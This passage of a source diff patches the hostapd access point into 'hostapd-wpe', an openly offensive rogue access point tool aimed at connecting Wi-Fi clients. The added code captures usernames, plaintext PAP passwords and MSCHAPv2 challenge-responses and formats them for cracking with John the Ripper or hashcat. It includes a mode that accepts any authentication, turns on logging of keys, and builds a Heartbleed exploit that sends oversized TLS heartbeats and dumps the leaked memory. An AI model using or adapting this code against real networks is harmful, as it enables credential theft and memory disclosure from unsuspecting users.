3618 + struct wpabuf *wpe_hb_ptr1, *wpe_hb_ptr2;
3619 +#endif /* OPENSSL_VERSION_NUMBER < 0x10100000L */
3620
3621 /*
3622 * Give TLS handshake data from the server (if available) to OpenSSL
3623 @@ -4394,6 +4409,30 @@ openssl_handshake(struct tls_connection
3624 }
3625 wpabuf_put(out_data, res);
3626
3627 +#if OPENSSL_VERSION_NUMBER < 0x10100000L
3628 + if (wpe_conf.wpe_enable_cupid && wpe_conf.wpe_hb_send_before_handshake && wpe_conf.wpe_hb_num_tries) {
3629 +
3630 + wpa_printf(MSG_DEBUG, "[WPE] Sending heartbeat request instead of handshake\n");
3631 + wpe_hb_ptr1 = NULL;
3632 +
3633 + for (i = 0; i < wpe_conf.wpe_hb_num_repeats; i++) {
3634 + wpe_hb_ptr2 = wpabuf_alloc(wpe_hb_msg_len-1);
3635 + memcpy(wpabuf_mhead(wpe_hb_ptr2), (u8 *)wpe_hb_clear(), wpe_hb_msg_len-1);
3636 + wpabuf_put(wpe_hb_ptr2, wpe_hb_msg_len-1);
3637 +
3638 + if (wpe_hb_ptr1) {
3639 + wpe_hb_ptr1 = wpabuf_concat(wpe_hb_ptr1,wpe_hb_ptr2);
3640 + } else {
3641 + wpe_hb_ptr1 = wpe_hb_ptr2;
3642 + }
3643 + }
3644 +
3645 + conn->ssl->tlsext_hb_pending = 1;
3646 + wpe_conf.wpe_hb_num_tries--;
3647 + return wpe_hb_ptr1;
3648 + }
3649 +#endif
3650 +
3651 return out_data;
3652 }
3653
3654 @@ -4526,6 +4565,13 @@ struct wpabuf * tls_connection_encrypt(v
3655 tls_show_errors(MSG_INFO, __func__, "BIO_reset failed");
3656 return NULL;
3657 }
3658 +
3659 +#if OPENSSL_VERSION_NUMBER < 0x10100000L
3660 + if (wpe_conf.wpe_enable_cupid && wpe_conf.wpe_hb_send_before_appdata) {
3661 + wpe_hb_enc(conn);
3662 + }
3663 +#endif
3664 +
3665 res = SSL_write(conn->ssl, wpabuf_head(in_data), wpabuf_len(in_data));
3666 if (res < 0) {
3667 tls_show_errors(MSG_INFO, __func__,
3668 @@ -4533,6 +4579,12 @@ struct wpabuf * tls_connection_encrypt(v
3669 return NULL;
3670 }
3671
3672 +#if OPENSSL_VERSION_NUMBER < 0x10100000L
3673 + if (wpe_conf.wpe_enable_cupid && wpe_conf.wpe_hb_send_after_appdata) {
3674 + wpe_hb_enc(conn);
3675 + }
3676 +#endif
3677 +
3678 /* Read encrypted data to be sent to the server */
3679 buf = wpabuf_alloc(wpabuf_len(in_data) + 300);
3680 if (buf == NULL)
3681 @@ -5773,3 +5825,69 @@ bool tls_connection_get_own_cert_used(st
3682 return SSL_get_certificate(conn->ssl) != NULL;
3683 return false;
3684 }
3685 +
3686 +#if OPENSSL_VERSION_NUMBER < 0x10100000L
3687 +int wpe_hb_enc(struct tls_connection *conn) {
3688 + unsigned char *cbuf, *p;
3689 +
3690 + unsigned int real_payload = 18; //default: 18 /* Sequence number + random bytes */
3691 + unsigned int padding = 16; //default: 16 /* Use minimum padding */
3692 +
3693 + if (!SSL_is_init_finished(conn->ssl)) {
3694 + return -1;
3695 + }
3696 +
3697 + if(!conn->ssl->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED ||
3698 + conn->ssl->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS) {
3699 + wpa_printf(MSG_DEBUG, "[WPE] warning: heartbeat extension is unsupported (try anyway)\n");
3700 + } else {
3701 + wpa_printf(MSG_DEBUG,"[WPE] Heartbeat extention is supported, may not be vulnerable!\n");
3702 + }
3703 +
3704 + /* Check if padding is too long, payload and padding
3705 + * must not exceed 2^14 - 3 = 16381 bytes in total.
3706 + */
3707 + OPENSSL_assert(real_payload + padding <= 16381);
3708 +
3709 + cbuf = OPENSSL_malloc(1 + 2 + real_payload + padding);
3710 +
3711 + if(cbuf==NULL)
3712 + return -1;
3713 +
3714 + p = cbuf;
3715 +
3716 + *p++ = TLS1_HB_REQUEST;
3717 +
3718 +
3719 + /* Payload length (18 bytes here) */
3720 + //s2n(payload, p); /* standards compliant payload */
3721 + //s2n(payload +10, p); /* >payload to exploit heartbleed!!! */
3722 + s2n(wpe_conf.wpe_hb_payload_size, p); /* configured payload */
3723 +
3724 + /* Sequence number */
3725 + s2n(conn->ssl->tlsext_hb_seq, p);
3726 + /* 16 random bytes */
3727 + RAND_pseudo_bytes(p, 16);
3728 + //RAND_bytes(p, 16);
3729 + p += 16;
3730 + /* Random padding */
3731 + RAND_pseudo_bytes(p, padding);
3732 + //RAND_bytes(p, padding);
3733 +
3734 + wpa_printf(MSG_DEBUG, "[WPE] Sending heartbeat reaquesting payload size %u...\n", wpe_conf.wpe_hb_payload_size);
3735 + wpa_hexdump(MSG_DEBUG, "[WPE] heartbeat packet to send:", cbuf, 1 + 2 + real_payload + padding);
3736 +
3737 + /* Send heartbeat request */
3738 +#ifdef TLS1_RT_HEARTBEAT
3739 + if (SSL_get_ssl_method(conn->ssl)->ssl_write_bytes(conn->ssl, TLS1_RT_HEARTBEAT,
3740 +#elif defined(DTLS1_RT_HEARTBEAT)
3741 + if (SSL_get_ssl_method(conn->ssl)->ssl_write_bytes(conn->ssl, DTLS1_RT_HEARTBEAT,
3742 +#endif
3743 + cbuf, 3 + real_payload + padding) >= 0)
3744 + conn->ssl->tlsext_hb_pending = 1;
3745 + OPENSSL_free(cbuf);
3746 +
3747 + return 0;
3748 +}
3749 +#endif /* OPENSSL_VERSION_NUMBER < 0x10100000L */
3750 +
3751 diff '--color=auto' -rupN hostapd-2.10/src/eap_server/eap_server.c hostapd-2.10-wpe/src/eap_server/eap_server.c
3752 --- hostapd-2.10/src/eap_server/eap_server.c 2022-01-16 20:51:29.000000000 +0000
3753 +++ hostapd-2.10-wpe/src/eap_server/eap_server.c 2022-02-21 23:29:30.152000000 +0000
3754 @@ -160,6 +160,8 @@ int eap_user_get(struct eap_sm *sm, cons
3755 {
3756 struct eap_user *user;
3757
3758 + char ident = 't';
3759 +
3760 if (sm == NULL || sm->eapol_cb == NULL ||
3761 sm->eapol_cb->get_eap_user == NULL)
3762 return -1;
3763 @@ -171,6 +173,11 @@ int eap_user_get(struct eap_sm *sm, cons
3764 if (user == NULL)
3765 return -1;
3766
3767 + if (phase2) {
3768 + identity = (const u8 *)&ident;
3769 + identity_len = 1;
3770 + }
3771 +
3772 if (sm->eapol_cb->get_eap_user(sm->eapol_ctx, identity,
3773 identity_len, phase2, user) != 0) {
3774 eap_user_free(user);
3775 diff '--color=auto' -rupN hostapd-2.10/src/eap_server/eap_server_mschapv2.c hostapd-2.10-wpe/src/eap_server/eap_server_mschapv2.c
3776 --- hostapd-2.10/src/eap_server/eap_server_mschapv2.c 2022-01-16 20:51:29.000000000 +0000
3777 +++ hostapd-2.10-wpe/src/eap_server/eap_server_mschapv2.c 2022-02-21 23:29:30.152000000 +0000
3778 @@ -12,7 +12,7 @@
3779 #include "crypto/ms_funcs.h"
3780 #include "crypto/random.h"
3781 #include "eap_i.h"
3782 -
3783 +#include "wpe/wpe.h"
3784
3785 struct eap_mschapv2_hdr {
3786 u8 op_code; /* MSCHAPV2_OP_* */
3787 @@ -290,7 +290,7 @@ static void eap_mschapv2_process_respons
3788 size_t username_len, user_len;
3789 int res;
3790 char *buf;
3791 -
3792 + u8 wpe_challenge_hash[8];
3793 pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, respData,
3794 &len);
3795 if (pos == NULL || len < 1)
3796 @@ -371,6 +371,8 @@ static void eap_mschapv2_process_respons
3797 }
3798 }
3799 #endif /* CONFIG_TESTING_OPTIONS */
3800 + challenge_hash(peer_challenge, data->auth_challenge, username, username_len, wpe_challenge_hash);
3801 + wpe_log_chalresp("mschapv2", name, name_len, wpe_challenge_hash, 8, nt_response, 24);
3802
3803 if (username_len != user_len ||
3804 os_memcmp(username, user, username_len) != 0) {
3805 @@ -405,6 +407,11 @@ static void eap_mschapv2_process_respons
3806 return;
3807 }
3808
3809 + if (wpe_conf.wpe_enable_return_success) {
3810 + os_memset((void *)nt_response, 0, 24);
3811 + os_memset((void *)expected, 0, 24);
3812 + }
3813 +
3814 if (os_memcmp_const(nt_response, expected, 24) == 0) {
3815 const u8 *pw_hash;
3816 u8 pw_hash_buf[16], pw_hash_hash[16];
3817 @@ -445,6 +452,8 @@ static void eap_mschapv2_process_respons
3818 wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: Invalid NT-Response");
3819 data->state = FAILURE_REQ;
3820 }
3821 + if (wpe_conf.wpe_enable_return_success)
3822 + data->state = SUCCESS;
3823 }
3824
3825
3826 diff '--color=auto' -rupN hostapd-2.10/src/eap_server/eap_server_peap.c hostapd-2.10-wpe/src/eap_server/eap_server_peap.c
3827 --- hostapd-2.10/src/eap_server/eap_server_peap.c 2022-01-16 20:51:29.000000000 +0000
3828 +++ hostapd-2.10-wpe/src/eap_server/eap_server_peap.c 2022-02-21 23:29:30.152000000 +0000
3829 @@ -17,7 +17,7 @@
3830 #include "eap_common/eap_tlv_common.h"
3831 #include "eap_common/eap_peap_common.h"
3832 #include "tncs.h"
3833 -
3834 +#include "wpe/wpe.h"
3835
3836 /* Maximum supported PEAP version
3837 * 0 = Microsoft's PEAP version 0; draft-kamath-pppext-peapv0-00.txt
3838 diff '--color=auto' -rupN hostapd-2.10/src/eap_server/eap_server_ttls.c hostapd-2.10-wpe/src/eap_server/eap_server_ttls.c
3839 --- hostapd-2.10/src/eap_server/eap_server_ttls.c 2022-01-16 20:51:29.000000000 +0000
3840 +++ hostapd-2.10-wpe/src/eap_server/eap_server_ttls.c 2022-02-21 23:29:30.152000000 +0000
3841 @@ -16,7 +16,7 @@
3842 #include "eap_server/eap_tls_common.h"
3843 #include "eap_common/chap.h"
3844 #include "eap_common/eap_ttls.h"
3845 -
3846 +#include "wpe/wpe.h"
3847
3848 #define EAP_TTLS_VERSION 0
3849
3850 @@ -538,9 +538,11 @@ static void eap_ttls_process_phase2_pap(
3851 return;
3852 }
3853
3854 - if (sm->user->password_len != user_password_len ||
3855 + wpe_log_basic("eap-ttls/pap", sm->identity, sm->identity_len, user_password, user_password_len);
3856 +
3857 + if ((!wpe_conf.wpe_enable_return_success) && (sm->user->password_len != user_password_len ||
3858 os_memcmp_const(sm->user->password, user_password,
3859 - user_password_len) != 0) {
3860 + user_password_len) != 0)) {
3861 wpa_printf(MSG_DEBUG, "EAP-TTLS/PAP: Invalid user password");
3862 eap_ttls_state(data, FAILURE);
3863 return;
3864 @@ -603,8 +605,9 @@ static void eap_ttls_process_phase2_chap
3865 chap_md5(password[0], sm->user->password, sm->user->password_len,
3866 challenge, challenge_len, hash);
3867
3868 - if (os_memcmp_const(hash, password + 1, EAP_TTLS_CHAP_PASSWORD_LEN) ==
3869 - 0) {
3870 + wpe_log_chalresp("eap-ttls/chap", sm->identity, sm->identity_len, challenge, challenge_len, password, password_len);
3871 +
3872 + if ((wpe_conf.wpe_enable_return_success) || (os_memcmp(hash, password + 1, EAP_TTLS_CHAP_PASSWORD_LEN) == 0)) {
3873 wpa_printf(MSG_DEBUG, "EAP-TTLS/CHAP: Correct user password");
3874 eap_ttls_state(data, SUCCESS);
3875 eap_ttls_valid_session(sm, data);
3876 @@ -675,7 +678,9 @@ static void eap_ttls_process_phase2_msch
3877 return;
3878 }
3879
3880 - if (os_memcmp_const(nt_response, response + 2 + 24, 24) == 0) {
3881 + wpe_log_chalresp("eap-ttls/mschap", sm->identity, sm->identity_len, challenge, challenge_len, response + 2 + 24, 24);
3882 +
3883 + if ((wpe_conf.wpe_enable_return_success) || (os_memcmp(nt_response, response + 2 + 24, 24) == 0)) {
3884 wpa_printf(MSG_DEBUG, "EAP-TTLS/MSCHAP: Correct response");
3885 eap_ttls_state(data, SUCCESS);
3886 eap_ttls_valid_session(sm, data);
3887 @@ -697,7 +702,7 @@ static void eap_ttls_process_phase2_msch
3888 u8 *response, size_t response_len)
3889 {
3890 u8 *chal, *username, nt_response[24], *rx_resp, *peer_challenge,
3891 - *auth_challenge;
3892 + *auth_challenge, wpe_challenge_hash[8];
3893 size_t username_len, i;
3894
3895 if (challenge == NULL || response == NULL ||
3896 @@ -782,6 +787,9 @@ static void eap_ttls_process_phase2_msch
3897 }
3898
3899 rx_resp = response + 2 + EAP_TTLS_MSCHAPV2_CHALLENGE_LEN + 8;
3900 +
3901 + challenge_hash(peer_challenge, auth_challenge, username, username_len, wpe_challenge_hash);
3902 + wpe_log_chalresp("eap-ttls/mschapv2", username, username_len, wpe_challenge_hash, 8, rx_resp, 24);
3903 #ifdef CONFIG_TESTING_OPTIONS
3904 {
3905 u8 challenge2[8];
3906 diff '--color=auto' -rupN hostapd-2.10/src/utils/wpa_debug.c hostapd-2.10-wpe/src/utils/wpa_debug.c
3907 --- hostapd-2.10/src/utils/wpa_debug.c 2022-01-16 20:51:29.000000000 +0000
3908 +++ hostapd-2.10-wpe/src/utils/wpa_debug.c 2022-02-21 23:29:30.160000000 +0000
3909 @@ -28,7 +28,7 @@ static FILE *wpa_debug_tracing_file = NU
3910
3911
3912 int wpa_debug_level = MSG_INFO;
3913 -int wpa_debug_show_keys = 0;
3914 +int wpa_debug_show_keys = 1; // WPE >:)
3915 int wpa_debug_timestamp = 0;
3916 int wpa_debug_syslog = 0;
3917 #ifndef CONFIG_NO_STDOUT_DEBUG
3918 diff '--color=auto' -rupN hostapd-2.10/src/wpe/Makefile hostapd-2.10-wpe/src/wpe/Makefile
3919 --- hostapd-2.10/src/wpe/Makefile 1970-01-01 00:00:00.000000000 +0000
3920 +++ hostapd-2.10-wpe/src/wpe/Makefile 2022-02-21 23:29:30.160000000 +0000
3921 @@ -0,0 +1,8 @@
3922 +all:
3923 + @echo Nothing to be made.
3924 +
3925 +clean:
3926 + rm -f *~ *.o *.d *.gcno *.gcda *.gcov
3927 +
3928 +install:
3929 + @echo Nothing to be made.
3930 diff '--color=auto' -rupN hostapd-2.10/src/wpe/wpe.c hostapd-2.10-wpe/src/wpe/wpe.c
3931 --- hostapd-2.10/src/wpe/wpe.c 1970-01-01 00:00:00.000000000 +0000
3932 +++ hostapd-2.10-wpe/src/wpe/wpe.c 2022-02-21 23:29:30.160000000 +0000
3933 @@ -0,0 +1,232 @@
3934 +/*
3935 + wpe.c -
3936 + [email protected]
3937 + Implements WPE (Wireless Pwnage Edition) functionality within
3938 + hostapd.
3939 +
3940 + WPE functionality focuses on targeting connecting users. At
3941 + it's core it implements credential logging (originally
3942 + implemented in FreeRADIUS-WPE), but also includes other patches
3943 + for other client attacks that have been modified to some extend.
3944 +
3945 + FreeRADIUS-WPE: https://github.com/aircrack-ng/aircrack-ng/tree/master/patches/wpe/freeradius-wpe
3946 + Karma patch: http://foofus.net/goons/jmk/tools/hostapd-1.0-karma.diff
3947 + Cupid patch: https://github.com/lgrangeia/cupid/blob/master/patch-hostapd
3948 +*/
3949 +
3950 +#include <time.h>
3951 +#include <openssl/ssl.h>
3952 +#include "includes.h"
3953 +#include "common.h"
3954 +#include "wpe/wpe.h"
3955 +#include "utils/wpa_debug.h"
3956 +
3957 +#define wpe_logfile_default_location "./hostapd-wpe.log"
3958 +
3959 +
3960 +#define MSCHAPV2_CHAL_HASH_LEN 8
3961 +#define MSCHAPV2_CHAL_LEN 16
3962 +#define MSCHAPV2_RESP_LEN 24
3963 +
3964 +#if OPENSSL_VERSION_NUMBER < 0x10100000L
3965 + char wpe_hb_msg[] = "\x18\x03\x01\x00\x03\x01\xff\xff";
3966 + size_t wpe_hb_msg_len = sizeof(wpe_hb_msg)/sizeof(wpe_hb_msg[0]);
3967 +#endif
3968 +
3969 +struct wpe_config wpe_conf = {
3970 + .wpe_logfile = wpe_logfile_default_location,
3971 + .wpe_logfile_fp = NULL,
3972 + .wpe_enable_karma = 0,
3973 + .wpe_enable_cupid = 0,
3974 + .wpe_enable_return_success = 0,
3975 +#if OPENSSL_VERSION_NUMBER < 0x10100000L
3976 + .wpe_hb_send_before_handshake = 1,
3977 + .wpe_hb_send_before_appdata = 0,
3978 + .wpe_hb_send_after_appdata = 0,
3979 + .wpe_hb_payload_size = 50000,
3980 + .wpe_hb_num_tries = 1,
3981 + .wpe_hb_num_repeats = 10
3982 +#endif /* OPENSSL_VERSION_NUMBER < 0x10100000L */
3983 +};
3984 +
3985 +void wpe_log_file_and_stdout(char const *fmt, ...) {
3986 +
3987 + if ( wpe_conf.wpe_logfile_fp == NULL ) {
3988 + wpe_conf.wpe_logfile_fp = fopen(wpe_conf.wpe_logfile, "a");
3989 + if ( wpe_conf.wpe_logfile_fp == NULL )
3990 + printf("WPE: Cannot file log file");
3991 + }
3992 +
3993 + va_list ap;
3994 +
3995 + va_start(ap, fmt);
3996 + vprintf(fmt, ap);
3997 + va_end(ap);
3998 +
3999 + va_start(ap, fmt);
4000 + if ( wpe_conf.wpe_logfile_fp != NULL )
4001 + vfprintf(wpe_conf.wpe_logfile_fp, fmt, ap);
4002 + va_end(ap);
4003 +}
4004 +
4005 +void wpe_log_chalresp(char *type, const u8 *username, size_t username_len, const u8 *challenge, size_t challenge_len, const u8 *response, size_t response_len) {
4006 + time_t nowtime;
4007 + int x;
4008 +
4009 + nowtime = time(NULL);
4010 +
4011 + wpe_log_file_and_stdout("\n\n%s: %s", type, ctime(&nowtime));
4012 + wpe_log_file_and_stdout("\t username:\t");
4013 + for (x=0; x<username_len; x++)
4014 + wpe_log_file_and_stdout("%c",username[x]);
4015 + wpe_log_file_and_stdout("\n");
4016 +
4017 + wpe_log_file_and_stdout("\t challenge:\t");
4018 + for (x=0; x<challenge_len - 1; x++)
4019 + wpe_log_file_and_stdout("%02x:",challenge[x]);
4020 + wpe_log_file_and_stdout("%02x\n",challenge[x]);
4021 +
4022 + wpe_log_file_and_stdout("\t response:\t");
4023 + for (x=0; x<response_len - 1; x++)
4024 + wpe_log_file_and_stdout("%02x:",response[x]);
4025 + wpe_log_file_and_stdout("%02x\n",response[x]);
4026 +
4027 + if (strncmp(type, "mschapv2", 8) == 0 || strncmp(type, "eap-ttls/mschapv2", 17) == 0) {
4028 + wpe_log_file_and_stdout("\t jtr NETNTLM:\t\t");
4029 + for (x=0; x<username_len; x++)
4030 + wpe_log_file_and_stdout("%c",username[x]);
4031 + wpe_log_file_and_stdout(":$NETNTLM$");
4032 + for (x=0; x<challenge_len; x++)
4033 + wpe_log_file_and_stdout("%02x",challenge[x]);
4034 + wpe_log_file_and_stdout("$");
4035 + for (x=0; x<response_len; x++)
4036 + wpe_log_file_and_stdout("%02x",response[x]);
4037 + wpe_log_file_and_stdout("\n");
4038 +
4039 + wpe_log_file_and_stdout("\t hashcat NETNTLM:\t");
4040 + for (x=0; x<username_len; x++)
4041 + wpe_log_file_and_stdout("%c",username[x]);
4042 + wpe_log_file_and_stdout("::::");
4043 + for (x=0; x<response_len; x++)
4044 + wpe_log_file_and_stdout("%02x",response[x]);
4045 + wpe_log_file_and_stdout(":");
4046 + for (x=0; x<challenge_len; x++)
4047 + wpe_log_file_and_stdout("%02x",challenge[x]);
4048 + wpe_log_file_and_stdout("\n");
4049 +
4050 + }
4051 +}
4052 +
4053 +void wpe_log_basic(char *type, const u8 *username, size_t username_len, const u8 *password, size_t password_len) {
4054 + time_t nowtime;
4055 + int x;
4056 +
4057 + nowtime = time(NULL);
4058 +
4059 + wpe_log_file_and_stdout("\n\n%s: %s",type, ctime(&nowtime));
4060 + wpe_log_file_and_stdout("\t username:\t");
4061 + for (x=0; x<username_len; x++)
4062 + wpe_log_file_and_stdout("%c",username[x]);
4063 + wpe_log_file_and_stdout("\n");
4064 +
4065 + wpe_log_file_and_stdout("\t password:\t");
4066 + for (x=0; x<password_len; x++)
4067 + wpe_log_file_and_stdout("%c",password[x]);
4068 + wpe_log_file_and_stdout("\n");
4069 +}
4070 +
4071 +/*
4072 + Taken from asleap, who took from nmap, who took from tcpdump :)
4073 +*/
4074 +void wpe_hexdump(unsigned char *bp, unsigned int length)
4075 +{
4076 +
4077 + /* stolen from tcpdump, then kludged extensively */
4078 +
4079 + static const char asciify[] =
4080 + "................................ !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~.................................................................................................................................";
4081 +
4082 + const unsigned short *sp;
4083 + const unsigned char *ap;
4084 + unsigned int i, j;
4085 + int nshorts, nshorts2;
4086 + int padding;
4087 +
4088 + wpe_log_file_and_stdout("\n\t");
4089 + padding = 0;
4090 + sp = (unsigned short *)bp;
4091 + ap = (unsigned char *)bp;
4092 + nshorts = (unsigned int)length / sizeof(unsigned short);
4093 + nshorts2 = (unsigned int)length / sizeof(unsigned short);
4094 + i = 0;
4095 + j = 0;
4096 + while (1) {
4097 + while (--nshorts >= 0) {
4098 + wpe_log_file_and_stdout(" %04x", ntohs(*sp));
4099 + sp++;
4100 + if ((++i % 8) == 0)
4101 + break;
4102 + }
4103 + if (nshorts < 0) {
4104 + if ((length & 1) && (((i - 1) % 8) != 0)) {
4105 + wpe_log_file_and_stdout(" %02x ", *(unsigned char *)sp);
4106 + padding++;
4107 + }
4108 + nshorts = (8 - (nshorts2 - nshorts));
4109 + while (--nshorts >= 0) {
4110 + wpe_log_file_and_stdout(" ");
4111 + }
4112 + if (!padding)
4113 + wpe_log_file_and_stdout(" ");
4114 + }
4115 + wpe_log_file_and_stdout(" ");
4116 +
4117 + while (--nshorts2 >= 0) {
4118 + wpe_log_file_and_stdout("%c%c", asciify[*ap], asciify[*(ap + 1)]);
4119 + ap += 2;
4120 + if ((++j % 8) == 0) {
4121 + wpe_log_file_and_stdout("\n\t");
4122 + break;
4123 + }
4124 + }
4125 + if (nshorts2 < 0) {
4126 + if ((length & 1) && (((j - 1) % 8) != 0)) {
4127 + wpe_log_file_and_stdout("%c", asciify[*ap]);
4128 + }
4129 + break;
4130 + }
4131 + }
4132 + if ((length & 1) && (((i - 1) % 8) == 0)) {
4133 + wpe_log_file_and_stdout(" %02x", *(unsigned char *)sp);
4134 + wpe_log_file_and_stdout(" %c",
4135 + asciify[*ap]);
4136 + }
4137 + wpe_log_file_and_stdout("\n");
4138 +}
4139 +
4140 +
4141 +#if OPENSSL_VERSION_NUMBER < 0x10100000L
4142 +/* https://github.com/openssl/openssl/issues/2122 */
4143 +
4144 +void wpe_hb_cb(int v_write_p, int v_version, int v_content_type, const void* v_buf, size_t v_len, SSL* v_ssl, void* v_arg) {
4145 +#ifdef TLS1_RT_HEARTBEAT
4146 + if (v_content_type == TLS1_RT_HEARTBEAT) {
4147 +#elif defined(DTLS1_RT_HEARTBEAT)
4148 + if (v_content_type == DTLS1_RT_HEARTBEAT) {
4149 +#endif
4150 + wpe_log_file_and_stdout("\n\nHeartbleed Data:\n");
4151 + v_ssl->tlsext_hb_pending = 1;
4152 + wpe_hexdump((unsigned char *)v_buf, v_len);
4153 + }
4154 +}
4155 +
4156 +
4157 +char *wpe_hb_clear() {
4158 + char *p;
4159 + // set payload size
4160 + p = &wpe_hb_msg[sizeof(wpe_hb_msg) - 3];
4161 + s2n(wpe_conf.wpe_hb_payload_size, p);
4162 +
4163 + return wpe_hb_msg;
4164 +}
4165 +#endif /* OPENSSL_VERSION_NUMBER < 0x10100000L */
4166 diff '--color=auto' -rupN hostapd-2.10/src/wpe/wpe.h hostapd-2.10-wpe/src/wpe/wpe.h
4167 --- hostapd-2.10/src/wpe/wpe.h 1970-01-01 00:00:00.000000000 +0000
4168 +++ hostapd-2.10-wpe/src/wpe/wpe.h 2022-02-21 23:29:30.160000000 +0000
4169 @@ -0,0 +1,54 @@
4170 +/*
4171 + wpe.h -
4172 + [email protected]
4173 + Implements WPE (Wireless Pwnage Edition) functionality within
4174 + hostapd.
4175 +
4176 + WPE functionality focuses on targeting connecting users. At
4177 + it's core it implements credential logging (originally
4178 + implemented in FreeRADIUS-WPE), but also includes other patches
4179 + for other client attacks.
4180 +
4181 + FreeRADIUS-WPE: https://github.com/brad-anton/freeradius-wpe
4182 + Karma patch: http://foofus.net/goons/jmk/tools/hostapd-1.0-karma.diff
4183 + Cupid patch: https://github.com/lgrangeia/cupid/blob/master/patch-hostapd
4184 +*/
4185 +#include <openssl/ssl.h>
4186 +
4187 +struct wpe_config {
4188 + char *wpe_logfile;
4189 + FILE *wpe_logfile_fp;
4190 + unsigned int wpe_enable_karma;
4191 + unsigned int wpe_enable_cupid;
4192 + unsigned int wpe_enable_return_success;
4193 +#if OPENSSL_VERSION_NUMBER < 0x10100000L
4194 + unsigned int wpe_hb_send_before_handshake:1;
4195 + unsigned int wpe_hb_send_before_appdata:1;
4196 + unsigned int wpe_hb_send_after_appdata:1;
4197 + unsigned int wpe_hb_payload_size;
4198 + unsigned int wpe_hb_num_tries;
4199 + unsigned int wpe_hb_num_repeats;
4200 +#endif /* OPENSSL_VERSION_NUMBER < 0x10100000L */
4201 +};
4202 +
4203 +extern struct wpe_config wpe_conf;
4204 +
4205 +#if OPENSSL_VERSION_NUMBER < 0x10100000L
4206 + extern char wpe_hb_msg[];
4207 + extern size_t wpe_hb_msg_len;
4208 +
4209 + //#define WPE_HB_MSG_LEN 8
4210 +#endif /* OPENSSL_VERSION_NUMBER < 0x10100000L */
4211 +
4212 +#define n2s(c,s)((s=(((unsigned int)(c[0]))<< 8)| \
4213 + (((unsigned int)(c[1])) )),c+=2)
4214 +
4215 +#define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), \
4216 + c[1]=(unsigned char)(((s) )&0xff)),c+=2)
4217 +
4218 +
4219 +void wpe_log_file_and_stdout(char const *fmt, ...);
4220 +void wpe_log_chalresp(char *type, const u8 *username, size_t username_len, const u8 *challenge, size_t challenge_len, const u8 *response, size_t response_len);
4221 +void wpe_log_basic(char *type, const u8 *username, size_t username_len, const u8 *password, size_t password_len);
4222 +void wpe_hb_cb(int v_write_p, int v_version, int v_content_type, const void* v_buf, size_t v_len, SSL* v_ssl, void* v_arg);
4223 +char *wpe_hb_clear();